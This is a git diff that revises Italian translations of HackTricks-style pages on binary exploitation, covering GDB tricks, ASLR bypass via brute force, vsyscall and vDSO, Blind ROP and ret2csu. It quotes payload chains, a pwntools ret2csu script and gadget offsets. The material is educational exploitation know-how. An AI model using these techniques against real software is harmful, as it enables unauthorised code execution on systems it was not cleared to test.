Translated ['binary-exploitation/basic-binary-exploitation-methodology/t
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 92 KiB |
|
@ -10,7 +10,7 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -118,6 +118,9 @@ pattern search $rsp #Search the offset given the content of $rsp
|
|||
shellcode search x86 #Search shellcodes
|
||||
shellcode get 61 #Download shellcode number 61
|
||||
|
||||
#Dump memory to file
|
||||
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
|
||||
|
||||
#Another way to get the offset of to the RIP
|
||||
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
|
||||
2- ef➤ i f
|
||||
|
@ -134,7 +137,7 @@ gef➤ pattern search 0x6261617762616176
|
|||
```
|
||||
### Trucchi
|
||||
|
||||
#### GDB stessi indirizzi
|
||||
#### Stessi indirizzi in GDB
|
||||
|
||||
Durante il debug, GDB avrà **indirizzi leggermente diversi rispetto a quelli utilizzati dal binario in esecuzione.** Puoi fare in modo che GDB abbia gli stessi indirizzi facendo:
|
||||
|
||||
|
@ -146,7 +149,7 @@ Durante il debug, GDB avrà **indirizzi leggermente diversi rispetto a quelli ut
|
|||
|
||||
#### Backtrace per trovare le funzioni chiamate
|
||||
|
||||
Quando si ha un **binario collegato staticamente**, tutte le funzioni apparterranno al binario (e non a librerie esterne). In questo caso sarà difficile **identificare il flusso che il binario segue per esempio per richiedere l'input dell'utente**.\
|
||||
Quando hai un **binario collegato staticamente**, tutte le funzioni apparterranno al binario (e non alle librerie esterne). In questo caso sarà difficile **identificare il flusso che il binario segue per esempio per richiedere l'input dell'utente**.\
|
||||
Puoi identificare facilmente questo flusso **eseguendo** il binario con **gdb** fino a quando ti viene richiesto l'input. Poi, interrompilo con **CTRL+C** e utilizza il comando **`bt`** (**backtrace**) per vedere le funzioni chiamate:
|
||||
```
|
||||
gef➤ bt
|
||||
|
@ -165,7 +168,7 @@ gef➤ bt
|
|||
### Trovare l'offset dello stack
|
||||
|
||||
**Ghidra** è molto utile per trovare l'**offset** per un **buffer overflow grazie alle informazioni sulla posizione delle variabili locali.**\
|
||||
Ad esempio, nell'esempio sottostante, un flusso di buffer in `local_bc` indica che è necessario un offset di `0xbc`. Inoltre, se `local_10` è un cookie canary, indica che sovrascriverlo da `local_bc` richiede un offset di `0xac`.\
|
||||
Ad esempio, nell'esempio sottostante, un flusso di buffer in `local_bc` indica che è necessario un offset di `0xbc`. Inoltre, se `local_10` è un cookie canary, indica che per sovrascriverlo da `local_bc` c'è un offset di `0xac`.\
|
||||
_Ricorda che i primi 0x08 da dove viene salvato il RIP appartengono al RBP._
|
||||
|
||||
![](<../../../.gitbook/assets/image (1058).png>)
|
||||
|
@ -225,7 +228,7 @@ Ottenere ogni opcode eseguito nel programma.
|
|||
|
||||
### Debugging in remoto su Linux
|
||||
|
||||
All'interno della cartella IDA è possibile trovare binari che possono essere utilizzati per eseguire il debug di un binario su Linux. Per farlo, spostare il binario `linux_server` o `linux_server64` all'interno del server Linux e eseguirlo all'interno della cartella che contiene il binario:
|
||||
All'interno della cartella IDA è possibile trovare binari che possono essere utilizzati per eseguire il debug di un eseguibile su Linux. Per farlo, spostare l'eseguibile `linux_server` o `linux_server64` all'interno del server Linux e eseguirlo all'interno della cartella che contiene l'eseguibile:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
|
@ -239,10 +242,10 @@ Quindi, configurare il debugger: Debugger (linux remoto) --> Opzioni del process
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository github di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
@ -10,7 +10,7 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -32,7 +32,7 @@ cat /proc/sys/kernel/randomize_va_space
|
|||
```
|
||||
### **Disattivazione di ASLR**
|
||||
|
||||
Per **disattivare** ASLR, imposti il valore di `/proc/sys/kernel/randomize_va_space` a **0**. Disattivare ASLR di solito non è consigliato al di fuori di scenari di test o debug. Ecco come puoi disattivarlo:
|
||||
Per **disattivare** ASLR, impostare il valore di `/proc/sys/kernel/randomize_va_space` su **0**. Disattivare ASLR di solito non è consigliato al di fuori di scenari di test o debug. Ecco come puoi disattivarlo:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
@ -43,7 +43,7 @@ setarch `uname -m` -R ./bin args
|
|||
```
|
||||
### **Abilitazione di ASLR**
|
||||
|
||||
Per **abilitare** ASLR, è possibile scrivere un valore di **2** nel file `/proc/sys/kernel/randomize_va_space`. Questo richiede tipicamente privilegi di root. Abilitare la piena randomizzazione può essere fatto con il seguente comando:
|
||||
Per **abilitare** ASLR, è possibile scrivere un valore di **2** nel file `/proc/sys/kernel/randomize_va_space`. Di solito è necessario disporre dei privilegi di root. È possibile abilitare la piena randomizzazione con il seguente comando:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
@ -67,21 +67,21 @@ Questo assicurerà che le impostazioni di ASLR rimangano attive anche dopo i ria
|
|||
|
||||
PaX divide lo spazio degli indirizzi del processo in **3 gruppi**:
|
||||
|
||||
* **Codice e dati** (inizializzati e non inizializzati): `.text`, `.data`, e `.bss` —> **16 bit** di entropia nella variabile `delta_exec`. Questa variabile viene inizializzata casualmente ad ogni processo e aggiunta agli indirizzi iniziali.
|
||||
* **Memoria** allocata da `mmap()` e **librerie condivise** —> **16 bit**, chiamato `delta_mmap`.
|
||||
* **Lo stack** —> **24 bit**, indicato come `delta_stack`. Tuttavia, utilizza effettivamente **11 bit** (dal decimo al ventesimo byte incluso), allineati a **16 byte** —> Ciò porta a **524.288 possibili indirizzi reali dello stack**.
|
||||
* **Codice e dati** (inizializzati e non inizializzati): `.text`, `.data`, e `.bss` —> **16 bit** di entropia nella variabile `delta_exec`. Questa variabile viene inizializzata casualmente con ogni processo e aggiunta agli indirizzi iniziali.
|
||||
* **Memoria** allocata da `mmap()` e **librerie condivise** —> **16 bit**, chiamati `delta_mmap`.
|
||||
* **Lo stack** —> **24 bit**, indicato come `delta_stack`. Tuttavia, utilizza effettivamente **11 bit** (dal 10° al 20° byte incluso), allineati a **16 byte** —> Ciò porta a **524.288 possibili indirizzi reali dello stack**.
|
||||
|
||||
I dati precedenti sono per sistemi a 32 bit e la ridotta entropia finale rende possibile aggirare ASLR riprovando l'esecuzione più volte fino a quando l'exploit viene completato con successo.
|
||||
I dati precedenti sono per sistemi a 32 bit e la ridotta entropia finale rende possibile aggirare l'ASLR riprovando l'esecuzione più volte fino a quando l'exploit viene completato con successo.
|
||||
|
||||
#### Idee per la forzatura:
|
||||
|
||||
* Se si dispone di un overflow sufficientemente grande per ospitare un **ampio NOP sled prima del codice shell**, è possibile forzare gli indirizzi nello stack fino a quando il flusso **salta una parte del NOP sled**.
|
||||
* Un'altra opzione in questo caso, nel caso in cui l'overflow non sia così grande e l'exploit possa essere eseguito in locale, è possibile **aggiungere il NOP sled e il codice shell in una variabile di ambiente**.
|
||||
* Se l'exploit è locale, è possibile tentare di forzare l'indirizzo di base di libc (utile per sistemi a 32 bit):
|
||||
* Se l'exploit è locale, è possibile tentare di forzare l'indirizzo di base di libc (utile per i sistemi a 32 bit):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* Se stai attaccando un server remoto, potresti provare a **forzare l'indirizzo della funzione `usleep` della `libc`**, passando come argomento 10 (per esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione.
|
||||
* Se stai attaccando un server remoto, potresti provare a **forzare l'indirizzo della funzione `usleep` della `libc`**, passando come argomento 10 (ad esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione.
|
||||
|
||||
{% hint style="success" %}
|
||||
Nei sistemi a 64 bit l'entropia è molto più alta e questo non dovrebbe essere possibile.
|
||||
|
@ -89,8 +89,8 @@ Nei sistemi a 64 bit l'entropia è molto più alta e questo non dovrebbe essere
|
|||
|
||||
### Forzatura dello stack a 64 bit
|
||||
|
||||
È possibile occupare una grande parte dello stack con variabili d'ambiente e poi provare ad abusare del binario centinaia/migliaia di volte in locale per sfruttarlo.\
|
||||
Il codice seguente mostra come sia possibile **selezionare semplicemente un indirizzo nello stack** e ogni **centinaia di esecuzioni** quell'indirizzo conterrà l'istruzione **NOP**:
|
||||
È possibile occupare una grande parte dello stack con variabili di ambiente e poi cercare di abusare del binario centinaia/migliaia di volte in locale per sfruttarlo.\
|
||||
Il codice seguente mostra come sia possibile **selezionare semplicemente un indirizzo nello stack** e ogni **centinaia di esecuzioni** quell'indirizzo conterrà l'**istruzione NOP**:
|
||||
```c
|
||||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
#include <stdio.h>
|
||||
|
@ -223,7 +223,7 @@ payload += b'%3$s' # The third parameter points at the start of the
|
|||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||||
payload += p32(elf.symbols['main'])
|
||||
```
|
||||
Puoi trovare ulteriori informazioni sull'arbitrary read delle stringhe di formato in:
|
||||
Puoi trovare ulteriori informazioni sull'arbitraria lettura delle stringhe di formato in:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
|
@ -239,12 +239,12 @@ Prova a eludere l'ASLR sfruttando gli indirizzi all'interno dello stack:
|
|||
|
||||
### vsyscall
|
||||
|
||||
Il meccanismo **`vsyscall`** serve a migliorare le prestazioni consentendo a determinate chiamate di sistema di essere eseguite nello spazio utente, anche se fanno fondamentalmente parte del kernel. Il vantaggio critico delle **vsyscall** risiede nei loro **indirizzi fissi**, che non sono soggetti a **ASLR** (Randomizzazione della disposizione dello spazio degli indirizzi). Questa natura fissa significa che gli attaccanti non necessitano di una vulnerabilità di leak di informazioni per determinare i loro indirizzi e usarli in un exploit.\
|
||||
Tuttavia, qui non saranno trovati gadget super interessanti (anche se ad esempio è possibile ottenere un equivalente di `ret;`)
|
||||
Il meccanismo **`vsyscall`** serve per migliorare le prestazioni consentendo a determinate chiamate di sistema di essere eseguite nello spazio utente, anche se fanno fondamentalmente parte del kernel. Il vantaggio critico delle **vsyscalls** risiede nei loro **indirizzi fissi**, che non sono soggetti a **ASLR** (Randomizzazione della disposizione dello spazio degli indirizzi). Questa natura fissa significa che gli attaccanti non necessitano di una vulnerabilità di fuga di informazioni per determinare i loro indirizzi e utilizzarli in un exploit.\
|
||||
Tuttavia, non saranno trovati gadget super interessanti qui (anche se ad esempio è possibile ottenere un equivalente di `ret;`)
|
||||
|
||||
(L'esempio e il codice seguenti sono [**da questo writeup**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
|
||||
(L'esempio e il codice seguenti sono [**da questo articolo**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
|
||||
|
||||
Ad esempio, un attaccante potrebbe utilizzare l'indirizzo `0xffffffffff600800` all'interno di un exploit. Mentre tentare di saltare direttamente a un'istruzione `ret` potrebbe portare a instabilità o crash dopo l'esecuzione di un paio di gadget, saltare all'inizio di una `syscall` fornita dalla sezione **vsyscall** può risultare vincente. Posizionando attentamente un gadget **ROP** che porta l'esecuzione a questo indirizzo **vsyscall**, un attaccante può ottenere l'esecuzione del codice senza dover eludere **ASLR** per questa parte dell'exploit.
|
||||
Ad esempio, un attaccante potrebbe utilizzare l'indirizzo `0xffffffffff600800` all'interno di un exploit. Mentre tentare di saltare direttamente a un'istruzione `ret` potrebbe portare a instabilità o crash dopo l'esecuzione di un paio di gadget, saltare all'inizio di una `syscall` fornita dalla sezione **vsyscall** può dimostrarsi efficace. Posizionando attentamente un gadget **ROP** che porta l'esecuzione a questo indirizzo **vsyscall**, un attaccante può ottenere l'esecuzione del codice senza dover eludere **ASLR** per questa parte dell'exploit.
|
||||
```
|
||||
ef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
|
@ -285,16 +285,10 @@ gef➤ x/4i 0xffffffffff600800
|
|||
0xffffffffff600809: ret
|
||||
0xffffffffff60080a: int3
|
||||
```
|
||||
<details>
|
||||
### vDSO
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
Nota quindi come potrebbe essere possibile **bypassare ASLR abusando del vdso** se il kernel è compilato con CONFIG\_COMPAT\_VDSO poiché l'indirizzo vdso non verrà randomizzato. Per ulteriori informazioni controlla:
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
|
||||
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
|
||||
{% endcontent-ref %}
|
||||
|
|
|
@ -8,15 +8,15 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
Lo scopo di questo attacco è quello di **sfruttare un ROP tramite un buffer overflow senza alcuna informazione sul binario vulnerabile**.\
|
||||
L'obiettivo di questo attacco è quello di **sfruttare un ROP tramite un buffer overflow senza alcuna informazione sul binario vulnerabile**.\
|
||||
Questo attacco si basa sul seguente scenario:
|
||||
|
||||
* Una vulnerabilità dello stack e la conoscenza di come attivarla.
|
||||
|
@ -40,7 +40,7 @@ Questo gadget permette fondamentalmente di confermare che è stato eseguito qual
|
|||
|
||||
Questa tecnica utilizza il gadget [**ret2csu**](ret2csu.md). E questo perché se si accede a questo gadget nel mezzo di alcune istruzioni si ottengono gadget per controllare **`rsi`** e **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Questi sarebbero i gadget:
|
||||
|
||||
|
@ -49,11 +49,11 @@ Questi sarebbero i gadget:
|
|||
|
||||
Nota come con quei gadget è possibile **controllare 2 argomenti** di una funzione da chiamare.
|
||||
|
||||
Inoltre, nota che il gadget ret2csu ha una **firma molto unica** perché estrarrà 6 registri dallo stack. Quindi inviando una catena come:
|
||||
Inoltre, nota che il gadget ret2csu ha una **firma molto unica** perché estrae 6 registri dallo stack. Quindi inviando una catena come:
|
||||
|
||||
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
|
||||
|
||||
Se viene eseguito lo **STOP**, ciò significa fondamentalmente che è stato utilizzato un **indirizzo che estrae 6 registri** dallo stack. Oppure che l'indirizzo utilizzato era anche un indirizzo di STOP.
|
||||
Se viene eseguito lo **STOP**, questo significa fondamentalmente che è stato utilizzato un **indirizzo che estrae 6 registri** dallo stack. Oppure che l'indirizzo utilizzato era anche un indirizzo di STOP.
|
||||
|
||||
Per **rimuovere questa ultima opzione** viene eseguita una nuova catena come la seguente e non deve eseguire il gadget STOP per confermare che il precedente ha estratto 6 registri:
|
||||
|
||||
|
@ -63,7 +63,7 @@ Conoscendo l'indirizzo del gadget ret2csu, è possibile **dedurre l'indirizzo de
|
|||
|
||||
### 6. Trova il PLT
|
||||
|
||||
La tabella PLT può essere cercata da 0x400000 o dall'**indirizzo RIP leakato** dallo stack (se viene utilizzato **PIE**). Le **voci** della tabella sono **separate da 16B** (0x10B), e quando viene chiamata una funzione il server non crasha anche se gli argomenti non sono corretti. Inoltre, controllando l'indirizzo di una voce nel **PLT + 6B non crasha** poiché è il primo codice eseguito.
|
||||
La tabella PLT può essere cercata da 0x400000 o dall'**indirizzo RIP leakato** dallo stack (se viene utilizzato **PIE**). Le **voci** della tabella sono **separate da 16B** (0x10B), e quando viene chiamata una funzione il server non crasha anche se gli argomenti non sono corretti. Inoltre, controllare l'indirizzo di una voce nel **PLT + 6B non crasha** poiché è il primo codice eseguito.
|
||||
|
||||
Pertanto, è possibile trovare la tabella PLT controllando i seguenti comportamenti:
|
||||
|
||||
|
@ -73,16 +73,16 @@ Pertanto, è possibile trovare la tabella PLT controllando i seguenti comportame
|
|||
|
||||
### 7. Trova strcmp
|
||||
|
||||
La funzione **`strcmp`** imposta il registro **`rdx`** alla lunghezza della stringa confrontata. Nota che **`rdx`** è il **terzo argomento** e deve essere **maggiore di 0** per poter successivamente utilizzare `write` per effettuare un leak del programma.
|
||||
La funzione **`strcmp`** imposta il registro **`rdx`** alla lunghezza della stringa confrontata. Nota che **`rdx`** è il **terzo argomento** e deve essere **maggiore di 0** per poter utilizzare successivamente `write` per effettuare un leak del programma.
|
||||
|
||||
È possibile trovare la posizione di **`strcmp`** nella PLT basandosi sul suo comportamento utilizzando il fatto che ora possiamo controllare i primi 2 argomenti delle funzioni:
|
||||
È possibile trovare la posizione di **`strcmp`** nel PLT basandosi sul suo comportamento utilizzando il fatto che ora possiamo controllare i primi 2 argomenti delle funzioni:
|
||||
|
||||
* strcmp(\<indirizzo non letto>, \<indirizzo non letto>) -> crash
|
||||
* strcmp(\<indirizzo non letto>, \<indirizzo letto>) -> crash
|
||||
* strcmp(\<indirizzo letto>, \<indirizzo non letto>) -> crash
|
||||
* strcmp(\<indirizzo letto>, \<indirizzo letto>) -> nessun crash
|
||||
|
||||
È possibile verificare ciò chiamando ciascuna voce della tabella PLT o utilizzando il **percorso lento PLT** che consiste fondamentalmente nel **chiamare una voce nella tabella PLT + 0xb** (che chiama a **`dlresolve`**) seguito nello stack dal **numero di voce che si desidera esaminare** (a partire da zero) per esaminare tutte le voci della PLT:
|
||||
È possibile verificare ciò chiamando ciascuna voce della tabella PLT o utilizzando il **percorso lento PLT** che consiste fondamentalmente nel **chiamare una voce nella tabella PLT + 0xb** (che chiama a **`dlresolve`**) seguito nello stack dal **numero di voce che si desidera esaminare** (a partire da zero) per esaminare tutte le voci PLT dalla prima:
|
||||
|
||||
* strcmp(\<indirizzo non letto>, \<indirizzo letto>) -> crash
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Crash
|
||||
|
@ -116,7 +116,7 @@ Tuttavia, il documento originale menziona solo la funzione **`write`**, quindi p
|
|||
|
||||
Il problema attuale è che non sappiamo **dove si trova la funzione write all'interno del PLT** e non conosciamo **un numero fd per inviare i dati al nostro socket**.
|
||||
|
||||
Tuttavia, sappiamo **dove si trova la tabella PLT** ed è possibile trovare write in base al suo **comportamento**. E possiamo creare **diverse connessioni** con il server e utilizzare un **FD alto** sperando che corrisponda a una delle nostre connessioni.
|
||||
Tuttavia, sappiamo **dove si trova la tabella PLT** ed è possibile trovare write in base al suo **comportamento**. E possiamo creare **diverse connessioni** con il server e utilizzare un **FD alto** sperando che corrisponda a qualche nostra connessione.
|
||||
|
||||
Firme comportamentali per trovare queste funzioni:
|
||||
|
||||
|
|
|
@ -39,7 +39,7 @@ ret;
|
|||
Questo gadget ci permette di controllare questi registri facendo uscire i valori dallo stack e inserendoli al loro interno.
|
||||
|
||||
2. La seconda sequenza utilizza i valori che abbiamo impostato per fare un paio di cose:
|
||||
* **Spostare valori specifici in altri registri**, preparandoli per l'uso come parametri nelle funzioni.
|
||||
* **Spostare valori specifici in altri registri**, preparandoli per essere utilizzati come parametri nelle funzioni.
|
||||
* **Effettuare una chiamata a una posizione** determinata sommando i valori in r15 e rbx, quindi moltiplicando rbx per 8.
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
|
@ -61,7 +61,7 @@ ret
|
|||
```
|
||||
Le condizioni saranno:
|
||||
|
||||
* `[r12 + rbx*8]` deve puntare a un indirizzo che memorizza una funzione richiamabile (se non si ha idea e non si ha pie, è possibile utilizzare la funzione `_init`):
|
||||
* `[r12 + rbx*8]` deve puntare a un indirizzo che memorizza una funzione invocabile (se non si ha idea e non si ha pie, è possibile utilizzare la funzione `_init`):
|
||||
* Se \_init si trova a `0x400560`, utilizzare GEF per cercare un puntatore in memoria ad esso e fare in modo che `[r12 + rbx*8]` sia l'indirizzo con il puntatore a \_init:
|
||||
```bash
|
||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
|
@ -79,7 +79,7 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedendo a offset specifici:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Controlla questa pagina per ulteriori informazioni:
|
||||
|
||||
|
@ -178,6 +178,6 @@ payload += ret2win
|
|||
target.sendline(payload)
|
||||
target.interactive()
|
||||
```
|
||||
### Perché non utilizzare direttamente libc?
|
||||
### Perché non utilizzare direttamente la libc?
|
||||
|
||||
Di solito questi casi sono vulnerabili anche a **ret2plt** + **ret2lib**, ma a volte è necessario controllare più parametri di quelli facilmente controllabili con i gadget che si trovano direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri e **potrebbe non essere possibile trovare gadget per impostare tutti questi direttamente**.
|
||||
Di solito questi casi sono vulnerabili anche a **ret2plt** + **ret2lib**, ma a volte è necessario controllare più parametri di quelli facilmente controllabili con i gadget che si trovano direttamente nella libc. Ad esempio, la funzione `write()` richiede tre parametri e **potrebbe non essere possibile trovare gadget per impostare tutti questi direttamente**.
|
||||
|
|
|
@ -10,7 +10,7 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -63,16 +63,28 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
|
|||
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
|
||||
